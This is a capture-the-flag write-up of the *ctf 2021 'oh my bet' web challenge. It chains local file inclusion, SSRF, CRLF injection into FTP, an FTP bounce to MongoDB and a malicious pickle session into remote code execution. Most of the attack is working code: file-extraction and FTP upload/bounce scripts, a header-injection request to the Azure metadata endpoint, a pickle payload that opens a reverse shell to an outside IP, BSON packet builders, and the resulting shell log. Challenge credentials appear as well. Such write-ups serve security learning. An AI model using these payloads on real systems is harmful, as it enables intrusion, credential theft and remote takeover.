*CTF 2021 - oh my bet

  • Author: Strellic
  • Date:

oh-my-bet

(web, 740 points, 8 solves)

oh my bet was by far the hardest web challenge in the CTF. I ended up getting 3rd blood on this challenge. There was no source provided, so we have to do this blind.

Navigating to the website, you register with a username and password. You can also select an avatar out of the list of six. Once you login, there are two pages. The first page (/shake_and_dice) will randomly roll a dice. The second page (/flag_points_29_points) randomly generates numbers.

There was also a cookie named session, which held a UUID which looked something like “5f2ef736-f86e-47fd-9198-2943c8c42410”.

That was it. It didn’t seem like the second page actually would give the flag, and it really seemed the website had no functionality at all. So, I went to look at the source code of the HTML. In the login page, I immediately found something weird - the avatar field had you select PNGs directly.

So, when you select “One” for the image, it actually sends “1.png” over to the server. When you make your account, your avatar is shown at the top bar as a base64 image (not directly linked)! So, the website might actually open any file that you send, and encode it as base64 to become an image.

Replacing the “1.png” with “../../../../../etc/passwd” and sending it over, the avatar becomes an unviewable image. Opening the image directly, we see the base64 that it tries to read is not a valid image. Decoding the base64, we see:

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
nut:x:84:84:nut:/var/state/nut:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
app:x:100:101:Linux User,,,:/home/app:/bin/false

LFI found. At this point, I thought I was somewhat close to the flag. I was so naive. I quickly whipped up a script to make it easier for me to extract files from the server.

 1import requests
 2import random
 3import string
 4import base64
 5import re
 6
 7target = "/etc/passwd"
 8
 9def randstr():
10    alphabet = list(string.ascii_lowercase + string.digits)
11    return ''.join([random.choice(alphabet) for _ in range(32)])
12
13r = requests.post("http://23.98.68.11:8088/login", data={"username": randstr(), "password": "12345", "avatar": "../../../../.." + target, "submit": "Go!"})
14resp = r.text
15
16pattern = r'"data:image/png;base64,(.*?)"'
17b64 = re.search(pattern, resp).group(1)
18
19print(base64.b64decode(b64).decode())

With this script, it was fairly simple to download files from the webserver. So, I first wanted to download the script running the website. I immediately made a request to /proc/self/cmdline and /proc/self/environ.

/proc/self/environ:
HOSTNAME=3bc5e11b1b0cSHLVL=1PYTHON_PIP_VERSION=9.0.1HOME=/home/appGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8PYTHON_VERSION=3.6.0PWD=/app

/proc/self/cmdline
/usr/local/bin/python3.6/usr/local/bin/gunicorn-b0.0.0.0:5000-w6--threads6--log-leveldebugapp:app

From the data extracted, we can tell that it is a python app running at /app/app.py. Extracting that file, we get the source code of the website!

 1import logging
 2from flask import Flask, session, request, render_template, url_for, redirect
 3from flask_session import Session
 4from config import Config
 5from forms import LoginForm
 6from exts import db, redis_client
 7from models import User
 8from utils import mark_data, get_data, login_required, get_avatar, random_dice, random_card, md5
 9 
10app = Flask(__name__)
11app.config.from_object(Config())
12 
13Session(app)
14 
15db.init_app(app)
16redis_client.init_app(app)
17 
18 
19@app.route('/login', methods=['GET', 'POST'])
20def login():
21    form = LoginForm()
22    if session.get('username'):
23        return redirect(url_for('shake_and_dice'))
24    if request.method == 'GET':
25        return render_template('login.html', form=form)
26    else:
27        username = form.username.data
28        password = form.password.data
29        password_md5 = md5(password)
30        avatar = form.avatar.data
31 
32        user = User.query.filter_by(username=username).first()
33 
34        if user:
35 
36            if password_md5 != user.password:
37                return render_template('login.html', form=form, message='Sorry, username or password ERROR!')
38            else:
39                session['username'] = username
40                return redirect(url_for('shake_and_dice'))
41        else:
42            user = User(username=username, password=password_md5, avatar=avatar)
43            db.session.add(user)
44            db.session.commit()
45            session['username'] = username
46 
47        data = get_avatar(username)
48        mark_data(username, data)
49 
50        return redirect(url_for('shake_and_dice'))
51 
52 
53@app.route('/shake_and_dice')
54@login_required
55def shake_and_dice():
56    dice1 = random_dice()
57    dice2 = random_dice()
58    dice3 = random_dice()
59    content = get_data(session['username'])
60    return render_template('shake_and_dice.html', username=session['username'], avatar=content,
61                           dice1=dice1, dice2=dice2, dice3=dice3)
62 
63 
64@app.route('/flag_points_29_points')
65@login_required
66def flag_points_29_points():
67    card1 = random_card()
68    card2 = random_card()
69    card3 = random_card()
70    content = get_data(session['username'])
71    return render_template('flag_points_29_points.html', username=session['username'], avatar=content,
72                           card1=card1, card2=card2, card3=card3)
73 
74 
75@app.route('/logout')
76@login_required
77def logout():
78    session.pop('username')
79    return redirect(url_for('login'))
80 
81@app.route('/')
82def index():
83    return redirect(url_for('login'))
84 
85 
86if __name__ == '__main__':
87    app.run()

Well, I immediately noticed a problem. There actually is no flag functionality on the website. The website literally has no functionality at all. So, that left me to assume we have to somehow escalate from LFI to RCE, which (in my experience) can be quite hard when not running PHP.

The app imported other Python modules as well, so I downloaded the rest. The most important one was /app/config.py, and when I saw it, I knew I was in for a rough challenge.

 1import pymongo
 2from ftplib import FTP
 3import json
 4 
 5class Config(object):
 6 
 7    def ftp_login(self):
 8        ftp = FTP()
 9        ftp.connect("172.20.0.2", 8877)
10        ftp.login("fan", "root")
11        return ftp
12 
13    def callback(self,*args, **kwargs):
14        data = json.loads(args[0].decode())
15        self.data = data
16 
17    def get_config(self):
18        f = self.ftp_login()
19        f.cwd("files")
20        buf_size = 1024
21        f.retrbinary('RETR {}'.format('config.json'), self.callback, buf_size)
22 
23    def __init__(self):
24        self.get_config()
25        data = self.data
26 
27        self.secret_key = data['secret_key']
28        self.SECRET_KEY = data['secret_key']
29        self.DEBUG = data['DEBUG']
30        self.SESSION_TYPE = data['SESSION_TYPE']
31        remote_mongo_ip = data['REMOTE_MONGO_IP']
32        remote_mongo_port = data['REMOTE_MONGO_PORT']
33        self.SESSION_MONGODB = pymongo.MongoClient(remote_mongo_ip, remote_mongo_port)
34        self.SESSION_MONGODB_DB = data['SESSION_MONGODB_DB']
35        self.SESSION_MONGODB_COLLECT = data['SESSION_MONGODB_COLLECT']
36        self.SESSION_PERMANENT = data['SESSION_PERMANENT']
37        self.SESSION_USE_SIGNER = data['SESSION_USE_SIGNER']
38        self.SESSION_KEY_PREFIX = data['SESSION_KEY_PREFIX']
39 
40        self.SQLALCHEMY_DATABASE_URI = data['SQLALCHEMY_DATABASE_URI']
41        self.SQLALCHEMY_TRACK_MODIFICATIONS = data['SQLALCHEMY_TRACK_MODIFICATIONS']
42 
43        self.REDIS_URL = data['REDIS_URL']

Oh boy. I am of the firm belief that no CTF author would put extra time in their challenge to add weird features, so the fact that I was seeing FTP meant that it was probably a core part of the challenge.

Another important file was /app/utils.py, and here is the source:

 1import os
 2import time
 3import re
 4import base64
 5import random
 6import hashlib
 7import urllib.request
 8from exts import redis_client
 9from functools import wraps
10from flask import session, redirect, url_for
11from models import User
12 
13 
14def mark_data(id, data):
15    expires = int(time.time()) + 240
16    p = redis_client.pipeline()
17    p.set(id, data)
18    p.expireat(id, expires)
19    p.execute()
20 
21 
22def get_data(id):
23    data = redis_client.get(id)
24    if not data:
25        data = get_avatar(id)
26        mark_data(id, data)
27    return data.decode()
28 
29 
30def login_required(f):
31    @wraps(f)
32    def decorated_function(*args, **kws):
33            if not session.get("username"):
34               return redirect(url_for('login'))
35            return f(*args, **kws)
36    return decorated_function
37 
38 
39def get_avatar(username):
40 
41    dirpath = os.path.dirname(__file__)
42    user = User.query.filter_by(username=username).first()
43 
44    avatar = user.avatar
45    if re.match('.+:.+', avatar):
46        path = avatar
47    else:
48        path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', avatar])
49    try:
50        content = base64.b64encode(urllib.request.urlopen(path).read())
51    except Exception as e:
52        error_path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', 'error.png'])
53        content = base64.b64encode(urllib.request.urlopen(error_path).read())
54        print(e)
55 
56    return content
57 
58 
59def random_dice():
60    dices = ['1.gif', '2.gif', '3.gif', '4.gif', '5.gif', '6.gif', 'surprise1.gif', 'surprise2.gif']
61    return random.choice(dices)
62 
63 
64def random_card():
65    color = ['♠️️', '❤️ ', '️️🔷', '♣️', '🚩']
66    return "%-5s" % random.choice(color) + ' ' + "%-3s" % str(random.randint(1, 15))
67 
68 
69def md5(data):
70    m = hashlib.md5(data.encode())
71    return m.hexdigest()

Here, we finally see the function that gives us LFI, get_avatar.

 1def get_avatar(username):
 2
 3    dirpath = os.path.dirname(__file__)
 4    user = User.query.filter_by(username=username).first()
 5
 6    avatar = user.avatar
 7    if re.match('.+:.+', avatar):
 8        path = avatar
 9    else:
10        path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', avatar])
11    try:
12        content = base64.b64encode(urllib.request.urlopen(path).read())
13    except Exception as e:
14        error_path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', 'error.png'])
15        content = base64.b64encode(urllib.request.urlopen(error_path).read())
16        print(e)
17
18    return content

From the code, we can see that if the file matches the regex (which pretty much checks for a scheme like https:// or http://), it is piped directly into urllib.request.urlopen. If it doesn’t have a scheme, it creates a path based on the current directory. This upgrades our LFI to SSRF, as we can now request websites from the server directly. Well, I knew that urllib.request also supports the file:// and ftp:// urls, so we can use those to exfiltrate more data.

I knew that the FTP server existed, so I made a request to ftp://fan:root@172.20.0.2:8877, and got the following files:

-rw-r--r--   1 root     root         6148 Jan 13 14:11 .DS_Store
drwxr-xr-x   2 root     root         4096 Jan 13 14:16 files
-rw-r--r--   1 root     root          464 Jan 08 13:10 ftp-server.py

I downloaded ftp-server.py, and got the source code for the FTP server.

 1from pyftpdlib.authorizers import DummyAuthorizer
 2from pyftpdlib.handlers import FTPHandler
 3from pyftpdlib.servers import FTPServer
 4
 5
 6authorizer = DummyAuthorizer()
 7
 8authorizer.add_user("fan", "root", ".",perm="elrafmwMT")
 9authorizer.add_anonymous(".")
10
11handler = FTPHandler
12handler.permit_foreign_addresses = True
13handler.passive_ports = range(2000, 2030)
14handler.authorizer = authorizer
15
16server = FTPServer(("172.20.0.2", 8877), handler)
17server.serve_forever()

There was also the files folder, so I requested that folder and found a config.json file. Here’s config.json:

 1{
 2  "secret_key":"f4545478ee86$%^&&%$#",
 3  "DEBUG": false,
 4  "SESSION_TYPE": "mongodb",
 5  "REMOTE_MONGO_IP": "172.20.0.5",
 6  "REMOTE_MONGO_PORT": 27017,
 7  "SESSION_MONGODB_DB": "admin",
 8  "SESSION_MONGODB_COLLECT": "sessions",
 9  "SESSION_PERMANENT": true,
10  "SESSION_USE_SIGNER": false,
11  "SESSION_KEY_PREFIX": "session:",
12  "SQLALCHEMY_DATABASE_URI": "mysql+pymysql://root:starctf123456@172.20.0.3:3306/ctf?charset=utf8",
13  "SQLALCHEMY_TRACK_MODIFICATIONS": true,
14  "REDIS_URL": "redis://@172.20.0.4:6379/0"
15}

This challenge was insane. To me, there seemed like too many different paths - the website had MongoDB, MySQL, Redis, and FTP, and I had no idea what to do. In the back of my mind, I also knew there was a CRLF vulnerability. From previous experience, I knew that old versions of Python (ending at 3.6) had a CRLF injection in urllib.request. CRLF injection allows you to inject \r\n characters where they aren’t expected, which can let you embed headers in URLs, split HTTP responses, and many more attacks.

For example, after doing some more recon, I realized that this was running on Microsoft Azure. Requesting /etc/resolv.conf, I see:

search edmdnc3elcbeve41mkjbyzwbnd.ix.internal.cloudapp.net
nameserver 127.0.0.11
options edns0 trust-ad ndots:0

Doing some research on the cloudapp.net domain, I can tell that it is running Azure. SSRF on certain platforms can be dangerous, as you might be able to escalate through abusing certain features of the cloud platform. For example, in one of the Balsn CTF challenges this year, tpc, you had to abuse urllib.request.urlopen on Python 3.6 (this exact setup), to make requests to the GCP’s metadata server and download the container.

Well, I looked into this attack for Azure, and I found the existence of an endpoint named http://169.254.169.254/metadata/instance?api-version=2020-09-01 that would let you download Azure metadata! But, you need to provide a custom header, Metadata: true, to get this information. This is meant to secure the endpoint from SSRF vulnerabilities.

But, since we have CRLF, we can directly inject this header into our URL. Modifying the code from tpc writeups, I can get the Azure metadata! Here’s the script I used:

1endpoint = "http://169.254.169.254/metadata/instance?api-version=2020-09-01"
2headers = {
3    "Metadata": "true"
4}
5
6target = endpoint + "&a=1 HTTP/1.1\r\n"
7for h in headers.keys():
8    target += h + ": " +headers[h] + "\r\n"
9target += "buffer: yep"

Well, after downloading the metadata, I saw nothing of use. And it was at this point I started going down a bunch of different rabbit holes. Eventually, the author released the first hint, which hinted at the existence of a /readflag binary. I downloaded the binary and decompiled it with Ghidra.

So, there was a file named /flag_728246ee4be43072f63a6d4bb5ddb6b0c705e8e6, and /readflag would open this and print it out to screen. I tried to download the flag file directly, but no luck. They also said that abusing the Redis database wasn’t part of the challenge, which threw me for a loop. They later released a hint saying that it was Python 3.6, which I already knew. So, this reinforced the idea that we need to somehow abuse SSRF with CRLF to gain RCE.

Eventually, I had the idea of using the CRLF to directly interact with the FTP server. I tried to use the script above, and modify it to work with FTP, but no dice. Eventually, one of my teammates linked a writeup that seemed to match this challenge pretty well.

The challenge was Contrived Web from PlaidCTF 2020, where you use CRLF to inject FTP commands, then use the PORT command to SSRF data directly to the RabbitMQ email queue and directly send the flag. At this point, I immediately remembered an attack with FTP called FTP Bounce. FTP bounce abuses the PORT command in FTP to send data to other services in the same machine.

Unfortunately, this attack is usually blocked in most FTP libraries. Fortunately for us, the handler.permit_foreign_addresses = True line in ftp-server.py directly disables this protection.

So, now I have a game plan. Target one of the services (MongoDB or MySQL), send a malicious packet through FTP Bounce, and gain RCE. But first, we need to run FTP commands. I try to work on my own script to inject FTP commands through CRLF, and after a lot of trial and error, I eventually am able to run FTP commands!

 1import urllib.parse
 2import requests
 3import string
 4import random
 5import re
 6
 7ftp_cmds = [
 8    "USER fan",
 9    "PASS root",
10    'STOR sadge',
11    'LIST',
12    'LIST'
13]
14ftp_host = "172.20.0.2:8877"
15target = 'ftp://fan\r\n{}:root@'.format('\r\n'.join(ftp_cmds)) + ftp_host
16
17print(target)
18
19def randstr():
20    alphabet = list(string.ascii_lowercase + string.digits)
21    return ''.join([random.choice(alphabet) for _ in range(32)])
22
23s1 = "52.163.52.206:8088"
24s2 = "23.98.68.11:8088"
25r = requests.post(f"http://{s2}/login", data={"username": randstr(), "password": "12345", "avatar": target, "submit": "Go!"})

After running this script, I see a new file named sadge in the FTP server! Unfortunately, at this moment I had no way to get output. At the same time, I also see other people uploading files into FTP.

But, their files actually had data inside, while I could only create blank files. So, the next step was to create my own file upload script. To do this, I reused a previous TCP proxy script I made (for a game called Pwn Adventure 3) and proxied my connection to an FTP server to observe how to upload.

You can see my proxy script here, if you want.

When sending a file named test.txt, I saw this output:

localproxy [b'TYPE I\r\n']
remoteproxy [b'200 Type set to: Binary.\r\n']
localproxy [b'TYPE I\r\n']
remoteproxy [b'200 Type set to: Binary.\r\n']
localproxy [b'PASV\r\n']
remoteproxy [b'227 Entering passive mode (123,456,789,123,7,214).\r\n']
localproxy [b'STOR test.txt\r\n']
remoteproxy [b'150 File status okay. About to open data connection.\r\n']
remoteproxy [b'226 Transfer complete.\r\n']
localproxy [b'MFMT 20210117010316 test.txt\r\n']
remoteproxy [b'213 Modify=20210117010316; /test.txt.\r\n']
localproxy [b'TYPE A\r\n']
remoteproxy [b'200 Type set to: ASCII.\r\n']
localproxy [b'PASV\r\n']
remoteproxy [b'227 Entering passive mode (123,456,789,123,7,225).\r\n']
localproxy [b'MLSD\r\n']
remoteproxy [b'150 File status okay. About to open data connection.\r\n']
remoteproxy [b'226 Transfer complete.\r\n']

So, first, the client sets the transfer type to binary, then runs the PASV command. The server responds with the IP and port (123,456,789,123,7,214) [123,456,789,123 -> 123.456.789.123 and 7,214 encodes the port]. The client then connects to the server and port, and sends the data over.

But, this immediately was a problem - we don’t have direct access to the FTP server. The most common way clients transfer files to FTP servers is through what is called passive mode. In this mode, the FTP server sends an IP and port to the client for them to send files to. But, since we can’t access the server, we can’t use passive mode.

Thankfully, there is another (less used) mode called active mode. In this method, we send our own IP and port to the FTP server, and then the server connects to us, and we send a file when they connect. This is used less since you need a direct IP, so it wouldn’t work for most people since they would be behind a router.

Around 30 minutes later, I had a working file upload script.

 1import urllib.parse
 2import requests
 3import string
 4import random
 5import socket
 6import re
 7
 8upload_name = "hw.txt"
 9upload_contents = "Hello, world!"
10upload_port = 6969
11upload_host = "123.456.789.123"
12upload = '{},{},{}'.format(upload_host.replace('.', ','), upload_port >> 8, upload_port & 0xff)
13
14ftp_cmds = [
15    "USER fan",
16    "PASS root",
17    'TYPE A', # A = ascii, I = binary
18    'PORT ' + upload, # active mode target
19    'STOR ' + upload_name, # filename
20    'yep',
21    'yep',
22    'yep'
23]
24
25ftp_host = "172.20.0.2:8877"
26target = 'ftp://fan\r\n{}:root@'.format('\r\n'.join(ftp_cmds)) + ftp_host
27
28print(target)
29
30def randstr():
31    alphabet = list(string.ascii_lowercase + string.digits)
32    return ''.join([random.choice(alphabet) for _ in range(32)])
33
34sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
35sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
36sock.bind(("0.0.0.0", upload_port))
37sock.listen(1)
38
39s1 = "52.163.52.206:8088"
40s2 = "23.98.68.11:8088"
41r = requests.post(f"http://{s2}/login", data={"username": randstr(), "password": "12345", "avatar": target, "submit": "Go!"})
42
43target_conn, addr = sock.accept()
44print(addr)
45target_conn.sendall(upload_contents.encode())

With this script, I now had working file upload to the FTP server! A couple minutes later, I finished working on my FTP bounce script, which looked similar, but the ftp_cmds were now:

 1bounce_port = 4200
 2bounce_host = "123.456.789.123"
 3
 4ftp_cmds = [
 5    "USER fan",
 6    "PASS root",
 7    "TYPE A",
 8    'PORT {},{},{}'.format(bounce_host.replace('.', ','), bounce_port >> 8, bounce_port & 0xff),
 9    'LIST',
10    'yep',
11    'yep',
12    'yep'
13]

Sending these commands over would send the output of the LIST command over to the bounce_host and bounce_port. If we change the LIST command to RETR payload, it would send over the payload to our target. So, we can now send a payload to anywhere on the server, including MongoDB and MySQL.

So now, we have to figure out what service to target, and what payload to send. One of my teammates told me about the run command in MongoDB, which lets you run shell commands, so I first ran a TCP proxy between my MongoDB connection, and saved all the data I was sending. I tried to replay those packets to see if it would rerun the command, but it didn’t work.

Later, he found the source code for the flask-session library’s MongoDB driver, specifically this very important section. Python and Flask-Session, when using MongoDB, save the user’s session inside of a python pickle!

Python pickles are notorious attack vectors, as if we can set them arbitrarily, we can get Python to deserialize insecure code, and gain RCE. So, now I have a complete plan of attack. Find the packet I need to send to create a new MongoDB session with a pickle that, when unserialized, sends me a reverse shell.

I first make a RCE pickle:

 1import pickle
 2import base64
 3import os
 4
 5class RCE:
 6    def __reduce__(self):
 7        cmd = ("""python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("123.456.789.123",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'""")
 8        return os.system, (cmd,)
 9
10if __name__ == '__main__':
11    pickled = pickle.dumps(RCE())
12    print(base64.urlsafe_b64encode(pickled))
13    open("exploit.b64", "w").write(base64.urlsafe_b64encode(pickled).decode())

If this is unserialized by Python, it’ll send a reverse shell over to my IP!

After dying for like an hour, I find an article here (that is no longer on the web) on Google’s cache, which sends a packet directly to the MongoDB socket straight using C. Perfect!

I slightly modified their code a bit, and ended up with this:

 1int main () {   
 2  char op_msg[] = {
 3    0x5D, 0x00, 0x00, 0x00, // total message size, including this
 4    0x00, 0x00, 0x00, 0x00, // requestID (can be 0)
 5    0x00, 0x00, 0x00, 0x00, // responseTo (unused for sending)
 6    0xDD, 0x07, 0x00, 0x00, // opCode = 2013 = 0x7DD for OP_MSG
 7    0x00, 0x00, 0x00, 0x00, // message flags (not needed)
 8    0x00,                   // only data section, type 0
 9    // begin bson command document
10    // {insert: "test_coll", $db: "db", documents: [{_id:1}]}
11    0x48, 0x00, 0x00, 0x00, // total bson obj length
12
13    // insert: "test_coll" key/value
14    0x02, 'i','n','s','e','r','t','\0',
15    0x0A, 0x00, 0x00, 0x00, // "test_coll" length
16    't','e','s','t','_','c','o','l','l','\0',
17
18    // $db: "db"
19    0x02, '$','d','b','\0',
20    0x03, 0x00, 0x00, 0x00,
21    'd','b','\0',
22
23    // documents: [{_id:1}]
24    0x04, 'd','o','c','u','m','e','n','t','s','\0',
25    0x16, 0x00, 0x00, 0x00, // start of {0: {_id: 1}} 
26    0x03, '0', '\0', // key "0"
27    0x0E, 0x00, 0x00, 0x00, // start of {_id: 1}
28    0x10, '_','i','d','\0', 0x01, 0x00, 0x00, 0x00,
29    0x00,                   // end of {"id: 1}
30    0x00,                   // end of {0: {_id: 1}}
31    0x00                    // end of command document,
32  };
33  FILE* file = fopen("exploit.bin", "wb");
34  fwrite(op_msg, 1, sizeof(op_msg), file);
35  return 0;
36}

Now, this exploit.bin, when sent to localhost:27017, created a new database and document in my local MongoDB server. This code generates a packet following the BSON (binary json) spec, which is what MongoDB uses. So now, we had to figure out the correct BSON to send. I created a simple Python+Flask test app that also used MongoDB as the driver for the sessions, and checked my database.

From here, we see the format of the document. I quickly whip up a BSON document that would insert a malicious session into this collection. Something similar to:

1{insert: "sessions", $db: "admin", documents: [{id: "session:ee124d06-0a63-40dc-bdbd-26d8350f4939", timestamp: 99999999999, val: pickle}]}

, if encoded correctly and sent, would match this format perfectly. So, now I had to figure out how to encode our BSON data correctly. I didn’t want to read the BSON spec by hand, so I ended up using NodeJS’s BSON library to make the work much easier. Figuring out exactly how to embed this with the correct opcode and length took a bit of work, as I rarely use NodeJS buffers.

But eventually, I got the following script made:

 1const BSON = require('bson');
 2const fs = require('fs');
 3
 4// Serialize a document
 5const doc = {insert: "sessions", $db: "admin", documents: [{
 6    "id": "session:e51fca6f-1148-450c-8961-b5d1aaaaaaaa",
 7    "val": Buffer.from(fs.readFileSync("exploit.b64").toString(), "base64"),
 8    "expiration": new Date("2025-02-17")
 9}]};
10const data = BSON.serialize(doc);
11
12let beginning = Buffer.from("5D0000000000000000000000DD0700000000000000", "hex");
13let full = Buffer.concat([beginning, data]);
14
15full.writeUInt32LE(full.length, 0);
16fs.writeFileSync("bson.bin", full);

This code creates a BSON document with the correct id (a uuid that is currently being unused), our pickled base64, and an expiration date. It then concats this document with the packet data from the beginning of the C program. Then, it fixes the length of the packet by writing an unsigned 32 integer in little endian in the first spot. This is saved as bson.bin.

Testing it locally, I do cat bson.bin | nc localhost 27017. This sends the data directly to MongoDB’s port. After checking my MongoDB database, I see the new document.

Finally, we have everything we need. I set up my FTP bounce script to target 172.20.0.5:27017 (the local MongoDB server). I then use my FTP upload script to upload this bson.bin packet, run the bounce script a couple of times, then replace the uploaded data with some junk (so no one could steal our code :P).

Now finally, if we navigate back to the website, and set our session cookie to the id we had set (e51fca6f-1148-450c-8961-b5d1aaaaaaaa), our pickled code is deserialized, sending a reverse shell to my computer. RCE gained! At this point, all I had to do was run the /readflag binary, and out popped the flag.

 1bryce@server:~$ nc -lvp 4242
 2Listening on 0.0.0.0 4242
 3Connection received on 23.98.68.11 34092
 4/app $ ls
 5ls
 6app.py         exts.py        gunicorn.conf  static         utils.py
 7config.py      forms.py       models.py      templates
 8/app $ cd /
 9cd /
10/ $ ls
11ls
12app
13bin
14dev
15etc
16flag_728246ee4be43072f63a6d4bb5ddb6b0c705e8e6
17home
18lib
19linuxrc
20media
21mnt
22proc
23readflag
24root
25run
26sbin
27srv
28sys
29tmp
30usr
31var
32/ $ ./readflag
33./readflag
34*ctf{yeah_hhhhh_Ftp_Just_so_funny}

Flag get! This was a very difficult challenge that took our three people working on it an entire day, but I ended up learning a lot.

*ctf{yeah_hhhhh_Ftp_Just_so_funny}